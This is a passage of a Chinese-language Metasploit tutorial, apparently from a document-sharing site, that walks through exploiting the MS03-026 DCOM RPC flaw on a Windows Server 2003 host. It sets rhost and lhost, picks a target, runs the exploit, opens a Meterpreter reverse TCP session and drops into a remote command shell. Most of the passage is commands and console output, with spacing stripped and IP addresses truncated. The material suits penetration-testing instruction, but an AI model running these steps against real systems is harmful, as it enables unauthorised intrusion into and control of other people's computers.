.set:设置攻击载荷的配置选项、设置相关参数。msfexploit(windows/dcerpc/ms03_026_dcom)>setrhost3rhost=>3msfexploit(windows/dcerpc/ms03_026_dcom)>setlhost1lhost=>1三)查看适用的操作系统1.showtargets:查看所选的发射器和攻击载荷适用的操作系统及版本,如果与被攻击者的不符,则无法实施攻击。msfexploit(windows/dcerpc/ms03_026_dcom)>showtargetsExploittargets:IdName------0WindowsNTSP3-6a/2000/XP/2003Universal可见,ID号为0的target,适用的目标操作系统及版本为WindowsNTSP3-6a/2000/XP/2003Universal。2.选用目标操作系统对应的ID号为0。msfexploit(windows/dcerpc/ms03_026_dcom)>settarget0target=>0四)实施攻击1.exploit:使用选好的发射器exploit和攻击载荷payload,执行渗透测试攻击。msfexploit(windows/dcerpc/ms03_026_dcom)>exploit[*]StartedreverseTCPhandleron1:4444[*]3:135-TryingtargetWindowsNTSP3-6a/2000/XP/2003Universal...[*]3:135-Bindingto4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:3[135]...[*]3:135-Boundto4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:3[135]...[*]3:135-Sendingexploit...[*]Sendingstage(179779bytes)to3[*]Sleepingbeforehandlingstage...[*]Meterpretersession1opened(1:4444->3:3177)at2018-12-3020:26:40-0500meterpreter>可以看到,攻击成功,payload被发射到目标系统中。五)操控被攻击服务器1.查看被攻击服务器的信息meterpreter>sysinfoComputer:ROOT-TVI862UBEHOS:Windows.NETServer(Build3790).Architecture:x86SystemLanguage:en_USDomain:WORKGROUPLoggedOnUsers:2Meterpreter:x86/windows2.进入被攻击服务器的命令行界面meterpreter>shellProcess2396created.Channel1created.MicrosoftWindows[Version5.2.3790](C)Copyright1985-2003MicrosoftCorp.3.执行命令,操控被攻击主机,如执行ipconfig等命令。C:\WINDOWS\system32>ipconfigipconfigWindowsIPConfigurationEthernetadapterLocalAreaConnection:Conne

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论